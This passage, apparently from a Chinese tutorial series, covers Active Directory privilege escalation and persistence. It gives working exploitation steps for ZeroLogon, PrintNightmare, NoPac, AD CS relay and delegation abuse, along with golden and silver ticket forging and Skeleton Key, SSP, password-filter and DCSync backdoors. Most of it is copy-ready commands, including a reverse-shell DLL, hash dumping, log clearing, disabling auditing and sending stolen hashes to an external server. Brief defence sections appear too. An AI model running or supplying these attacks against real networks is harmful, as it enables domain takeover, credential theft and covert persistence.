PAC是微软对Kerberos协议的扩展,由KDC生成并嵌入到TGT中,用于声明用户的组成员身份(如域管理员组)、权限列表(如SeEnableDelegationPrivilege)等。- 关键字段:用户SID、所属组SID列表、用户权限、PAC签名等。
- 验证机制:PAC需由KDC使用krbtgt账号的密钥签名,确保其合法性。
防御与缓解措施
- 补丁修复:
域控安装补丁KB3011780,并确保所有主机更新至最新版本。 - 权限控制:
限制普通用户权限,避免其获取本地管理员权限。 - 流量监控:
监控Kerberos请求中的异常行为(如大量TGT请求或异常PAC内容)。 - 加固Kerberos:
启用PAC签名强校验(如仅允许AES/HMAC算法)。
工具与扩展
- 利用工具:
ms14-068.exe
、Pykek
、Mimikatz
、goldenPac
(自动化攻击)。 - 检测脚本:通过Wireshark分析Kerberos流量,识别伪造PAC的MD5签名特征。
2.CVE-2020-1472(ZeroLogon)
漏洞利用条件
目标环境要求:
- 受影响系统:Windows Server 2008 R2至2019版本(包括Server Core安装模式)的域控制器(DC)。
- 补丁状态:目标域控未安装微软2020年8月发布的补丁(KB4571729)或未启用“强制模式”(2021年2月前未强制修复)。
- 网络访问:攻击者需能通过TCP访问域控的445端口(Netlogon协议默认端口)。
攻击前提:
- 域控信息:已知域控的计算机名(NetBIOS名称)和IP地址。
- 权限要求:无需任何域内用户凭证,攻击者可处于域外环境发起攻击。
漏洞利用流程
1. 漏洞检测
使用工具(如Secura提供的zerologon_tester.py
)验证目标域控是否存在漏洞:
1 | python3 zerologon_tester.py <域控计算机名> <域控IP> |
若返回“Success!”,则漏洞存在。
2. 重置域控机器账户密码
利用工具(如set_empty_pw.py
)将域控机器账户的密码置空:
1 | python3 set_empty_pw.py <域控计算机名> <域控IP> |
此操作会通过调用NetrServerPasswordSet2
函数将域控的机器用户密码重置为空,导致域控与域数据库的凭证不一致(可能引发脱域风险)。
3. 导出域内哈希
使用Impacket的secretsdump.py
工具,利用空密码导出域控的哈希(包括域管账户):
1 | python3 secretsdump.py -no-pass <域名>/<域控计算机名>$@<域控IP> |
获取的NTLM哈希可用于后续横向移动或生成黄金票据。
4. 获取域控权限
通过哈希传递(Pass-the-Hash)工具(如wmiexec.py
)获取交互式Shell:
1 | python3 wmiexec.py -hashes <LM哈希>:<NTLM哈希> <域名>/administrator@<域控IP> |
5. 恢复域控原始密码
为防止域控脱域,需从注册表导出原始哈希并还原:
1 | # 导出注册表文件 |
关键技术与原理
加密缺陷:
- AES-CFB8模式:Netlogon协议使用AES-CFB8加密时,初始化向量(IV)被错误设置为全零,攻击者通过多次碰撞(平均256次)生成全零的客户端凭证(Client Credential),绕过认证。
- 挑战-响应机制:攻击者可控的Client Challenge设置为全零,结合固定IV,导致密文碰撞概率大幅提升(从1/2^64降至1/256)。
权限提升路径:
- 密码重置:通过
NetrServerPasswordSet2
调用将域控机器账户密码置空,利用其DCSync特权导出域管哈希。 - 横向扩展:获取域管权限后可进一步控制整个域环境。
- 密码重置:通过
防御与缓解措施
- 补丁修复:安装微软官方补丁并启用“强制模式”,确保所有域控和客户端使用安全的Netlogon协议。
- 网络隔离:限制对域控445端口的非必要访问,启用SMB签名和加密。
- 监控与检测:监控异常Netlogon请求(如大量全零参数的认证尝试)。
工具与资源
- 检测工具:SecuraBV/CVE-2020-1472
- 利用脚本:risksense/zerologon
- 协议库:Impacket(需v0.9.22+)
3.CVE-2021-1675 (PrintNightmare)
漏洞利用条件
目标环境要求
- 受影响系统:Windows Server 2008 R2至2022版本、Windows 7至11的客户端系统,尤其是域控制器(DC)。
- 补丁状态:未安装微软2021年6月及后续修复补丁(KB5005010等),或未启用“强制模式”的域控环境。
- 服务状态:目标主机的Print Spooler服务(
spoolsv.exe
)需处于运行状态(默认开启)。
攻击前提
- 权限要求:普通域用户账号或机器账号(如
iis$
)的凭据(密码或Hash)。 - 网络访问:攻击者需能通过SMB协议访问目标主机的445端口,并拥有一个匿名共享目录用于存放恶意DLL文件。
- 权限要求:普通域用户账号或机器账号(如
漏洞利用流程
1. 环境检测
- 确认Print Spooler服务状态:
使用rpcdump.py
扫描目标主机的Print Spooler服务是否开放:1
rpcdump.py @目标IP | grep -i 'MS-RPRN' # 存在输出则服务可用。
- 验证补丁状态:
检查目标系统是否已安装补丁,例如通过systeminfo
命令或网络工具间接判断。
2. 生成恶意DLL
使用msfvenom
生成反向Shell的DLL(需与目标架构匹配):
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=攻击者IP LPORT=监听端口 -f dll -o exploit.dll。 |
3. 配置匿名SMB共享
- 在攻击机(如Kali)或域内主机上设置匿名共享目录,存放恶意DLL(需确保共享路径可被目标访问):
1
impacket-smbserver share 共享目录路径 -smb2support。
4. 执行漏洞利用
使用CVE-2021-1675.py
脚本发起攻击(需安装修改版Impacket库):
1 | python3 CVE-2021-1675.py 域名/用户名:密码@目标IP '\\攻击者IP\共享目录\exploit.dll'。 |
- 参数说明:
- 用户名/密码:普通域用户或机器账号凭据。
- DLL路径:指向SMB共享中的恶意DLL。
5. 获取权限
- 启动监听器(如Netcat或Metasploit)捕获反向Shell:
1
nc -lvp 监听端口 # Shell以SYSTEM权限返回。
- 扩展利用:通过获取的权限执行横向移动、提取域哈希(如
secretsdump.py
)或植入持久化后门。
技术原理与漏洞本质
- 核心缺陷:Print Spooler服务以
SYSTEM
权限运行,且未对YAddPrinterDriverEx
函数的参数dwFileCopyFlags
进行严格校验。通过设置APD_INSTALL_WARNED_DRIVER
标志(0x8000),可绕过驱动签名校验,强制加载任意DLL。 - 攻击链:
- 权限绕过:利用RPC调用(如
RpcAddPrinterDriverEx
)绕过ValidateObjectAccess
检查,允许低权限用户安装驱动。 - DLL注入:恶意DLL被复制至
C:\Windows\System32\spool\drivers\x64\3\
目录并加载,触发代码执行。
- 权限绕过:利用RPC调用(如
防御与缓解措施
- 补丁修复:安装微软官方补丁(KB5005010等),并重启系统生效。
- 服务禁用:非必要环境下禁用Print Spooler服务:
1
2Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled。 - 权限控制:限制普通用户安装打印机驱动的权限,启用SMB签名及加密。
- 监控与检测:
- 监控
spoolsv.exe
加载异常DLL的行为(如非系统路径的模块)。 - 检测
C:\Windows\System32\spool\drivers\x64\
目录下的新增文件(如.dll
)。 - 分析事件日志(如Event ID 808、5145)中的异常打印服务操作。
- 监控
复现失败常见原因
- 补丁未完全生效:部分系统需多次安装补丁或手动启用“强制模式”。
- 共享路径配置错误:匿名SMB共享权限不足或路径不可达(需确保
guest
访问权限)。 - DLL架构不匹配:目标系统为64位时需生成64位DLL,否则加载失败。
参考工具:
- cube0x0/CVE-2021-1675(漏洞利用脚本)
- Impacket(网络协议库)
- SharpPrintNightmare(本地提权工具)。
4.CVE-2021-42278 + CVE-2021-42287(NoPac)
漏洞原理概述
NoPac漏洞是CVE-2021-42278和CVE-2021-42287的组合利用,允许攻击者通过伪造域控机器账户(DC)的sAMAccountName属性,结合Kerberos协议的缺陷,将普通域用户权限提升至域管理员权限。其核心原理如下:
- CVE-2021-42278(sAMAccountName伪造)
Active Directory未对机器账户的sAMAccountName属性进行严格校验,允许攻击者创建与域控机器账户同名但**不带$**的账户(如将机器账户名从DC
改为DC$
的原始名称DC
),从而绕过命名规则限制。 - CVE-2021-42287(Kerberos逻辑缺陷)
当KDC(密钥分发中心)未找到TGT对应的账户时,会自动尝试在账户名后添加$
重新搜索(如从DC
变为DC$
),并使用域控密钥加密服务票据(ST),从而授予攻击者域控权限。
漏洞利用条件
目标环境要求:
- 域控未安装补丁KB5008602或KB5008380。
- 域内普通用户账户的凭据(密码或Hash),且该用户具有创建机器账户的权限(默认
MachineAccountQuota=10
)。 - 攻击者需能访问域控的445端口(SMB)和88端口(Kerberos)。
特殊场景:
- 若
MachineAccountQuota=0
(即禁止创建机器账户),攻击者需利用已有用户账户的sAMAccountName修改权限(如具有WriteProperty
权限)。
- 若
漏洞利用流程
手动利用步骤
创建并配置伪造的机器账户
- 使用PowerShell模块(如
Powermad.ps1
)创建机器账户:1
New-MachineAccount -MachineAccount AttackerMachine -Password 'P@ssw0rd!'
- 清除该账户的SPN(服务主体名称),避免冲突:
1
Set-DomainObject -Clear 'serviceprincipalname'
- 修改
sAMAccountName
为域控名称(如DC
,不带$
):1
Set-MachineAccountAttribute -MachineAccount AttackerMachine -Value "DC" -Attribute samaccountname
- 使用PowerShell模块(如
请求伪造的TGT票据
- 使用
Rubeus
工具请求TGT:1
Rubeus.exe asktgt /user:DC /password:P@ssw0rd! /domain:example.com /dc:dc.example.com /nowrap
- 使用
恢复机器账户名称
- 将
sAMAccountName
改回原始值,避免后续冲突:1
Set-MachineAccountAttribute -MachineAccount AttackerMachine -Value "AttackerMachine" -Attribute samaccountname
- 将
通过S4U2Self请求高权限ST
- 利用TGT申请域控服务(如
CIFS
或LDAP
)的ST,并加载到内存:1
Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:ldap/dc.example.com /ticket:[TGT_BASE64] /ptt
- 利用TGT申请域控服务(如
权限验证与利用
- 使用
dir \\dc\C$
验证文件访问权限。 - 通过
DCSync
导出域哈希:1
mimikatz.exe "lsadump::dcsync /domain:example.com /user:krbtgt"
- 使用
自动化工具利用(以noPac为例)
漏洞检测
1
noPac.exe scan -domain example.com -user lowpriv -pass 'Password123!'
一键化提权
- 获取CIFS服务权限:
1
noPac.exe -domain example.com -user lowpriv -pass 'Password123!' /dc dc.example.com /mAccount test /mPassword test123 /service cifs /ptt
- 获取LDAP服务权限并导出域哈希:
1
noPac.exe -domain example.com -user lowpriv -pass 'Password123!' /dc dc.example.com /mAccount test /mPassword test123 /service ldap /ptt /impersonate Administrator
- 获取CIFS服务权限:
自动化工具利用(sam-the-admin)
步骤 1:漏洞检测与初始化
1 | python3 sam_the_admin.py "域名/普通用户:密码" -dc-ip 域控IP -shell |
- 功能:验证目标域控是否存在漏洞,并自动创建伪造的机器账户。
- 关键操作:
- 创建机器账户(如
testpc
),清除其 SPN 属性。 - 修改机器账户的
sAMAccountName
为域控名称(如DC
,不带$
后缀)。
- 创建机器账户(如
步骤 2:请求伪造 TGT 票据
工具内部调用 Impacket 的 asktgt
模块,生成包含伪造 PAC 的 TGT:
1 | asktgt -dc-ip 域控IP 域名/伪造机器账户名 |
- 原理:利用 KDC 对机器账户名自动添加
$
的缺陷,使 TGT 被误认为域控账户签发。
步骤 3:恢复机器账户名
为防止命名冲突,工具自动将伪造的 sAMAccountName
恢复为原始值,确保后续操作不触发异常。
步骤 4:通过 S4U2Self 请求高权限 ST
1 | KRB5CCNAME='票据缓存路径' impacket-smbexec -k -no-pass 域名/域控主机名 |
- 功能:利用生成的 TGT,请求域控服务(如
CIFS
或LDAP
)的 ST,并注入内存。 - 权限提升:通过模拟域管理员(如
Administrator
)获取服务票据,绕过权限校验。
步骤 5:执行远程命令或 DCSync
获取 Shell:通过
smbexec.py
建立交互式会话,执行系统命令。导出域哈希:调用
secretsdump.py
进行 DCSync,提取域内所有用户凭据:1
python3 secretsdump.py -k -no-pass 域名/域控主机名@域控IP
防御与缓解措施
- 补丁修复:
安装微软补丁KB5008602和KB5008380,并重启域控。 - 权限控制:
- 将域内
MachineAccountQuota
设置为0,禁用普通用户创建机器账户的权限。 - 限制用户对
sAMAccountName
属性的修改权限。
- 将域内
- 监控与检测:
- 监控异常
sAMAccountName
修改事件(如Event ID 5136)。 - 分析Kerberos请求中的异常S4U2Self操作。
- 监控异常
工具与资源
- 利用工具:
- noPac:自动化扫描与利用工具(需.NET 4.0)。
- sam-the-admin:Python版漏洞利用脚本。
- 检测脚本:
使用PowerShell模块(如Powerview
)检查域内MachineAccountQuota
配置。
5.ADCS证书服务攻击(NTLM中继)
一、漏洞原理
Active Directory证书服务(AD CS)的HTTP证书接口未启用NTLM中继保护,且仅允许NTLM身份验证(禁用Kerberos),导致攻击者可通过NTLM Relay攻击伪造域控制器机器账户(DC$)的认证请求,获取高权限证书,进而实现权限提升或域控接管。
二、利用条件
目标环境要求:
- AD CS服务配置:AD CS已启用Web注册功能(HTTP接口
/certsrv/certfnsh.asp
开放),且未安装补丁KB5008602/KB5008380。 - 域控状态:域控制器未启用SMB签名或NTLM中继保护机制,且WebClient服务可能需运行(若使用ADCSPwn工具)。
- 网络访问:攻击者需能访问域控的88(Kerberos)和445(SMB)端口,并具备中继到AD CS HTTP接口的能力。
- AD CS服务配置:AD CS已启用Web注册功能(HTTP接口
攻击前提:
- 初始权限:普通域用户账号(或机器账号)凭据(密码或Hash),或无需凭证(若利用PetitPotam触发匿名认证)。
- 工具依赖:需使用特定版本的Impacket(支持
--adcs
参数)及PetitPotam等工具。
三、利用流程
1. 环境准备与检测
- 定位证书服务器:
1
certutil -config - -ping # 查询域内证书服务器地址
- 验证漏洞存在:访问
http://<域控IP>/certsrv/certfnsh.asp
,确认仅支持NTLM认证。
2. 配置NTLM中继
使用Impacket的ntlmrelayx.py
监听并中继流量至AD CS接口:
1 | python3 ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController |
- 关键参数:
--adcs
指定AD CS攻击模式,--template DomainController
请求域控证书模板。
3. 触发NTLM认证
通过PetitPotam强制域控(DC$)向中继服务器认证:
- Python脚本:
1
python3 PetitPotam.py -d <域名> -u <用户> -p <密码> <中继服务器IP> <域控IP>
- 二进制工具:
1
PetitPotam.exe <中继服务器IP> <域控IP> # 无需凭证触发认证
- Mimikatz模块:
1
misc::efs /server:<域控主机名> /connect:<中继服务器IP>
4. 获取伪造证书
成功中继后,ntlmrelayx
会生成Base64编码的证书数据。攻击者可截获该证书,保存为文件或直接复制。
5. 申请高权限票据
使用Rubeus将证书转换为Kerberos TGT票据:
1 | Rubeus.exe asktgt /user:DC$ /certificate:<Base64证书> /ptt |
- 效果:票据注入当前会话后,攻击者具备DC$权限,可执行DCSync操作。
6. 权限提升与横向移动
- 导出域哈希:
1
mimikatz.exe "lsadump::dcsync /domain:<域名> /user:krbtgt"
- 哈希传递(PTH):
1
sekurlsa::pth /user:Administrator /domain:<域名> /ntlm:<NTLM哈希>
- 远程命令执行:
1
python3 wmiexec.py -hashes :<NTLM哈希> Administrator@<域控IP>
四、防御与缓解措施
补丁与配置:
- 安装微软补丁KB5008602,禁用HTTP证书注册接口的NTLM认证。
- 启用SMB签名及LDAPS(SSL加密)。
服务管理:
- 停止并禁用非必要的WebClient服务(若使用ADCSPwn攻击需此服务)。
- 限制普通用户创建机器账户的权限(设置
MachineAccountQuota=0
)。
监控与检测:
- 监控事件日志(如Event ID 4741、4768)中的异常机器账户操作或Kerberos票据请求。
- 使用PSPKIAudit脚本检测AD CS配置风险。
五、工具与资源
- 攻击工具:
- Impacket(ntlmrelayx分支)
- PetitPotam
- ADCSPwn(内存加载利用)。
- 检测脚本:
- PSPKIAudit:检查AD CS配置漏洞。
八、域权限提升-委派
一、委派提权的核心机制
Kerberos委派(Delegation) 是Active Directory中允许服务A以用户身份访问服务B的机制,旨在实现跨服务身份传递。其本质是信任链的扩展,但配置不当会导致攻击者通过滥用委派权限,将低权限提升至域管理员甚至域控权限。核心流程如下:
二、委派类型与攻击面
1. 非约束委派(Unconstrained Delegation)
原理:
服务账户被配置为可接收任何用户的TGT(票据授予票据),并允许将其转发到任意其他服务。- 漏洞触发条件:
服务账户启用TrustedForDelegation
属性,且攻击者控制该服务账户(或诱导高权限用户访问该服务)。 - 攻击流程:
- 获取服务账户权限:通过漏洞(如弱口令、SPN劫持)控制配置了非约束委派的服务账户(如IIS、MSSQL服务账号)。
- 诱导高权限用户访问:通过钓鱼、PetitPotam等工具强制域管理员访问该服务。
- 窃取TGT:服务账户内存中缓存用户TGT,使用Mimikatz或Rubeus导出:
1
mimikatz "sekurlsa::tickets /export" # 导出内存中的Kerberos票据
- 横向移动:利用窃取的TGT申请其他服务(如LDAP、CIFS)的ST(服务票据),执行DCSync或远程命令。
- 漏洞触发条件:
2. 约束委派(Constrained Delegation)
原理:
服务账户被限制只能代表用户访问特定服务(如CIFS或LDAP),通过S4U2Self和S4U2Proxy扩展实现。- 漏洞触发条件:
服务账户配置了msDS-AllowedToDelegateTo
属性(允许委派的目标服务列表),且攻击者控制该账户。 - 攻击流程:
- 控制服务账户:获取约束委派服务账户的凭据(如Hash或密码)。
- 伪造S4U请求:
- S4U2Self:为任意用户申请针对自身服务的ST(无需用户密码)。
- S4U2Proxy:将ST转发到允许委派的目标服务(如域控的LDAP)。
1
Rubeus.exe s4u /user:ServiceAccount /rc4:<NTLM-Hash> /impersonateuser:Administrator /msdsspn:ldap/DC01 /ptt
- 权限提升:注入ST后,以管理员身份访问域控服务(如DCSync导出哈希)。
- 漏洞触发条件:
3. 基于资源的约束委派(Resource-Based Constrained Delegation, RBCD)
原理:
由资源服务(如域控)自主定义哪些账户可委派到自身(通过msDS-AllowedToActOnBehalfOfOtherIdentity
属性)。漏洞触发条件:
攻击者拥有对某资源的Write权限
(如通过ACL漏洞修改目标机器的RBCD配置)。攻击流程:
创建恶意机器账户:利用
MachineAccountQuota
(默认允许普通用户创建10个机器账户)。1
New-MachineAccount -MachineAccount Attacker -Password 'Passw0rd!'
配置RBCD权限:将恶意机器账户添加到目标域控的
msDS-AllowedToAct...
属性。1
Set-ADComputer DC01 -PrincipalsAllowedToDelegateToAccount Attacker$
发起S4U攻击:利用恶意账户申请域控服务的ST,获取管理员权限。
1
Rubeus.exe s4u /user:Attacker$ /rc4:<机器账户Hash> /impersonateuser:Administrator /msdsspn:cifs/DC01 /ptt
三、攻击工具与检测
1. 常用工具
信息收集:
- PowerView:枚举域内委派配置。
1
2Get-DomainComputer -Unconstrained | Select-Object Name # 非约束委派主机
Get-DomainUser -TrustedToAuth | Select-Object UserPrincipalName # 约束委派账户 - ADExplorer:可视化查看RBCD配置。
- PowerView:枚举域内委派配置。
攻击利用:
- Impacket:
getST.py
生成伪造服务票据。 - Rubeus:自动化S4U请求与票据注入。
- Mimikatz:导出内存票据或Pass-the-Ticket攻击。
- Impacket:
2. 防御与检测
- 加固措施:
- 禁用非必要的非约束委派配置,限制约束委派范围。
- 设置
MachineAccountQuota=0
,防止普通用户创建机器账户。 - 启用Kerberos Armoring(FAST)和SMB签名,防御中继攻击。
- 监控日志:
- Event ID 4769(Kerberos服务票据请求):关注异常
ServiceName
(如非标准SPN)。 - Event ID 5136(目录服务对象修改):监控
msDS-AllowedToAct...
属性变更。
- Event ID 4769(Kerberos服务票据请求):关注异常
四、总结
委派提权的核心在于滥用Kerberos协议的信任链扩展机制,通过控制服务账户或修改资源权限,实现从低权限到域控权限的跃迁。防御需结合最小权限原则、日志监控与定期ACL审计,阻断攻击者从委派配置到横向移动的完整路径。
九、域权限维持
1.黄金票据(Golden Ticket)
一、黄金票据的核心原理
黄金票据(Golden Ticket) 是一种基于 Kerberos 协议的身份伪造攻击,通过窃取域控中 krbtgt
账户的 NTLM Hash 或 AES Key,伪造任意用户的 TGT(票据授予票据),绕过身份验证,实现持久的域管理员权限。其核心逻辑如下:
- TGT 的生成机制:
Kerberos 协议中,KDC(密钥分发中心)使用krbtgt
账户的密钥加密 TGT。攻击者获取该密钥后,可自主生成 TGT,无需与 KDC 交互。 - 绕过密码验证:
黄金票据直接使用krbtgt
的密钥加密伪造的 TGT,KDC 无法区分其合法性,默认信任该票据。 - 持久性:
黄金票据的有效期由攻击者自定义(默认10年),且即使域用户密码被修改或账户被禁用,票据仍有效。
二、攻击前提条件
- 关键凭据:
krbtgt
账户的 NTLM Hash 或 AES Key(通常通过 DCSync 或域控内存提取)。- 域 SID(Security Identifier):用于构造用户/组身份信息(如
S-1-5-21-<域标识>-500
对应 Administrator)。
- 环境要求:
- 攻击者已控制域内一台主机,并能够与域控通信(88/Kerberos 端口)。
- 未启用高级安全机制(如 Kerberos Armoring 或 FAST)。
三、黄金票据生成与利用流程
步骤 1:获取 krbtgt
账户的凭据
DCSync 攻击:
使用 Mimikatz 或 Impacket 的secretsdump.py
导出krbtgt
的 Hash:1
2
3mimikatz "lsadump::dcsync /domain:example.com /user:krbtgt"
# 或使用 Impacket
secretsdump.py example.com/[email protected] -just-dc-user krbtgt内存提取:
若已获取域控权限,直接从 LSASS 进程中提取:1
mimikatz "privilege::debug" "sekurlsa::krbtgt"
步骤 2:生成黄金票据
使用 Mimikatz 或 Rubeus 生成伪造的 TGT:
1 | # 使用 Mimikatz(RC4 加密) |
- 关键参数:
/user
:伪造的用户名(通常为 Administrator)。/domain
:域名。/sid
:域的 SID(可通过whoami /all
获取)。/ptt
:将票据注入当前会话内存(Pass-the-Ticket)。
步骤 3:权限验证与利用
- 访问域控资源:
1
dir \\dc.example.com\C$ # 验证文件访问权限
- 执行 DCSync:
1
mimikatz "lsadump::dcsync /domain:example.com /user:krbtgt"
- 远程命令执行:
使用 PsExec 或 WMI 获取域控 Shell:1
PsExec.exe \\dc.example.com cmd.exe
四、技术原理深度解析
- TGT 的结构与签名:
TGT 包含用户身份、组 SID、有效期等信息,并由krbtgt
的密钥签名。黄金票据通过伪造签名,使 KDC 误认为其合法。 - PAC(特权属性证书)的绕过:
黄金票据可选择性包含 PAC,但若域启用 PAC 签名强校验(如仅允许 AES 加密),需确保 PAC 的正确签名。 - Kerberos 协议信任链:
KDC 无法验证自签名的 TGT,默认信任其合法性,这是黄金票据攻击的根源。
2.白银票据(Silver Ticket)
一、白银票据的核心原理
白银票据(Silver Ticket) 是一种基于 Kerberos 协议的服务票据伪造攻击,通过窃取服务账户(如 CIFS、LDAP、HTTP 等)的 NTLM Hash 或 AES Key,伪造特定服务的 ST(服务票据),绕过 TGT(票据授予票据)验证,直接访问目标服务。其核心逻辑如下:
- ST 的生成机制:
Kerberos 协议中,服务票据(ST)由 KDC(密钥分发中心)使用服务账户的密钥加密。攻击者获取该密钥后,可自主生成 ST,无需与 KDC 交互。 - 绕过 KDC 验证:
白银票据直接使用服务账户的密钥加密伪造的 ST,目标服务无法区分其合法性,默认信任该票据。 - 精准攻击:
白银票据仅对特定服务有效(如CIFS/DC01
),攻击范围有限,但隐蔽性更高(无 KDC 交互记录)。
二、攻击前提条件
- 关键凭据:
- 服务账户的 NTLM Hash 或 AES Key(通过 Kerberoasting、密码破解或内存提取获取)。
- 目标服务的 SPN(Service Principal Name)(如
CIFS/DC01.example.com
)。
- 环境要求:
- 攻击者已控制域内一台主机,能够与目标服务通信(如 445/SMB 端口)。
- 目标服务未启用强加密验证(如 SMB 签名或 LDAP 加密)。
三、白银票据生成与利用流程
步骤 1:获取服务账户的凭据
Kerberoasting 攻击:
请求高权限服务的 ST 并离线破解:1
2
3
4# 使用 Rubeus 请求 ST
Rubeus.exe kerberoast /user:svc_sql /nowrap
# 使用 Hashcat 破解(示例)
hashcat -m 13100 hash.txt rockyou.txt内存提取:
若已控制运行服务的主机,使用 Mimikatz 提取服务账户凭据:1
mimikatz "privilege::debug" "sekurlsa::logonpasswords"
步骤 2:生成白银票据
使用 Mimikatz 或 Rubeus 生成伪造的 ST:
1 | # 使用 Mimikatz(伪造 CIFS 服务票据) |
- 关键参数:
/user
:伪造的用户名(如 Administrator)。/domain
:域名。/sid
:域的 SID(通过whoami /all
获取)。/service
:目标服务的 SPN(必须与目标服务匹配)。/ptt
:将票据注入当前会话内存(Pass-the-Ticket)。
步骤 3:权限验证与利用
访问目标服务资源:
1
dir \\DC01.example.com\C$ # 验证文件共享访问权限
执行远程命令:
1
PsExec.exe \\DC01.example.com cmd.exe
DCSync 攻击(需 LDAP 服务票据):
1
mimikatz "lsadump::dcsync /domain:example.com /user:krbtgt"
四、技术原理深度解析
- ST 的结构与签名:
ST 包含用户身份、服务 SPN、有效期等信息,并由服务账户的密钥签名。白银票据通过伪造签名,使目标服务误认为其合法。 - PAC(特权属性证书)的缺失:
白银票据通常不包含 PAC(或包含无效 PAC),因此依赖目标服务是否强制校验 PAC。若服务不校验 PAC,攻击者可绕过权限验证。 - 无需 KDC 交互:
白银票据直接生成并发送至目标服务,不经过 KDC,因此无 Event ID 4768(TGT 请求)日志记录,隐蔽性更高。
五、白银票据 vs. 黄金票据
特性 | 白银票据(Silver Ticket) | 黄金票据(Golden Ticket) |
---|---|---|
依赖密钥 | 服务账户的 NTLM Hash/AES Key | krbtgt 的 NTLM Hash/AES Key |
攻击范围 | 仅限特定服务(如 CIFS、LDAP、HTTP) | 全域(可访问任何服务) |
是否需要 TGT | 无需(直接生成 ST) | 无需(直接生成 TGT) |
隐蔽性 | 高(无 KDC 交互日志) | 较高(TGT 请求日志可能异常) |
防御难度 | 中(需轮换服务账户密码) | 高(需重置 krbtgt 密码) |
3.万能密码
一、万能密码的核心概念
万能密码 是一种特殊的权限维持技术,通过在域控中植入后门,使得攻击者使用预设的通用密码即可通过任意用户账户的身份验证(如域管理员)。该技术不修改用户实际密码,而是篡改身份验证流程,绕过正常密码校验逻辑。其核心特点包括:
- 隐蔽性:不影响用户正常登录,仅在攻击者使用特定密码时触发后门。
- 持久性:通常依赖内存注入或系统级Hook,需结合持久化机制防止重启失效。
- 高权限要求:需域管理员或SYSTEM权限部署后门。
二、技术实现方式
1. Skeleton Key(骨架密钥)
原理:
由Mimikatz提出的内存级后门,通过Hook LSASS进程的msv1_0.dll
或kerberos.dll
中的密码验证函数,为所有用户添加一个通用密码(如mimikatz
)。
操作步骤:
1 | # 注入Skeleton Key到LSASS(需管理员权限) |
特点:
- 无需修改用户密码:原始密码仍有效,攻击者使用通用密码即可登录。
- 重启失效:LSASS进程重启后后门消失。
- 仅影响当前域控:多域控环境下需在所有DC上部署。
持久化:
- 结合计划任务或WMI事件订阅,在系统启动时重新注入Skeleton Key。
- 使用工具(如Metasploit的
persistence
模块)创建自启动服务。
2. 恶意安全支持提供者(SSP)
原理:
通过注册恶意SSP(Security Support Provider)DLL,截获并篡改身份验证请求。
操作步骤:
1 | # 使用Mimikatz安装恶意SSP(如mimilib.dll) |
特点:
- 记录或篡改凭据:可记录所有用户密码或允许特定密码通过验证。
- 重启持久:SSP注册表项(
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
)确保DLL在重启后加载。
持久化:
- 将恶意DLL写入
%SystemRoot%\System32
并注册为SSP。 - 通过组策略强制所有域控加载该SSP。
3. 密码筛选器后门(Password Filter DLL)
原理:
利用Windows密码策略机制,注册恶意密码筛选器DLL,在密码修改或验证时触发后门逻辑。
操作步骤:
- 编写恶意DLL:实现
PasswordFilter
函数,检查输入密码是否为预设值(如Backdoor@123
),若匹配则返回验证通过。 - 注册DLL:
1
2# 修改注册表
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "evildll" /f - 重启生效:需重启系统或LSASS进程。
特点:
- 深度隐蔽:与系统密码策略集成,难以被常规审计发现。
- 全局生效:影响所有用户密码验证流程。
持久化:
- 将DLL复制到
System32
目录并锁定权限防止删除。 - 禁用Windows文件保护(WFPC)或利用驱动程序绕过签名校验。
4. 修改NTDS.dit数据库
原理:
直接修改域控的NTDS.dit
数据库,为所有用户账户添加相同的备用密码哈希(LM/NTLM)。
操作步骤:
- 获取数据库访问权限:通过Volume Shadow Copy或直接复制
NTDS.dit
和SYSTEM
注册表文件。 - 离线注入哈希:使用工具(如secretsdump.py和nthash.py)批量修改用户哈希。
- 恢复数据库:替换原始文件并重启域控。
特点:
- 高风险:操作不当易导致数据库损坏。
- 高隐蔽性:用户正常密码不变,仅攻击者知晓备用哈希。
持久化:
- 定期同步更新备用哈希以匹配密码策略。
- 结合ACL后门防止数据库文件被审计。
4.DCSnc 后门
DCSync 是一种通过模拟域控制器(DC)的复制行为,利用 目录复制服务(DRS)协议 获取域内所有用户密码哈希的技术。攻击者通过为普通用户或隐藏账户授予 复制目录更改(Replicating Directory Changes All) 权限,使其具备类似域控制器的数据同步能力,从而实现持久化权限维持。
二、攻击流程
1. 授予DCSync权限
通过修改目标用户或计算机账户的ACL(访问控制列表),添加 DS-Replication-Get-Changes-All 权限。
PowerShell (PowerView) 示例:
1 | # 导入PowerView模块 |
dsacls 命令行工具示例:
1 | dsacls "DC=example,DC=com" /G "EXAMPLE\BackdoorUser:CA;Replicating Directory Changes All" |
2. 创建隐蔽账户(可选)
创建不易被发现的隐藏账户,如 影子账户 或 机器账户:
1 | # 创建隐藏用户(设置不可逆密码) |
3. 执行DCSync导出哈希
使用 Mimikatz 或 Impacket 导出域内哈希:
1 | # Mimikatz |
三、权限维持与隐蔽手段
1. ACL隐藏技术
- 继承禁用:
修改ACL继承设置,使权限条目不通过常规工具(如Active Directory用户和计算机)显示。1
Set-ADObject -Identity "DC=example,DC=com" -Replace @{nTSecurityDescriptor = (Get-ADObject -Identity "DC=example,DC=com" -Properties nTSecurityDescriptor).nTSecurityDescriptor}
- 混淆安全标识符(SID):
使用 SID History注入 或 跨域信任关系 隐藏真实权限来源。
2. 日志绕过
- 清除事件日志:
使用 wevtutil 删除相关事件记录:1
wevtutil cl Security # 清除安全日志
- 禁用日志记录:
修改组策略关闭敏感操作审计(需管理员权限):1
Set-GPOAuditPolicy -Path "DC=example,DC=com" -Category "DS Access" -AuditType "None"
3. 定期同步与自动化
- 计划任务触发DCSync:
通过域控或受控主机定时执行哈希导出:1
schtasks /create /tn "DCSyncTask" /tr "C:\tools\mimikatz.exe \"lsadump::dcsync\" /domain:example.com" /sc weekly /ru SYSTEM
- 邮件或外传通道:
将导出的哈希自动发送至外部服务器(如HTTPS API或邮件)。
5.DSRM
一、DSRM 的核心作用
DSRM(Directory Services Restore Mode) 是 Windows 域控制器的安全修复模式,用于在 Active Directory 数据库(ntds.dit
)损坏时执行还原操作。其本地管理员账户(.\Administrator
)的密码独立于域账户体系,成为攻击者隐蔽权限维持的理想后门。
二、DSRM 权限持久化原理
- 密码独立性:
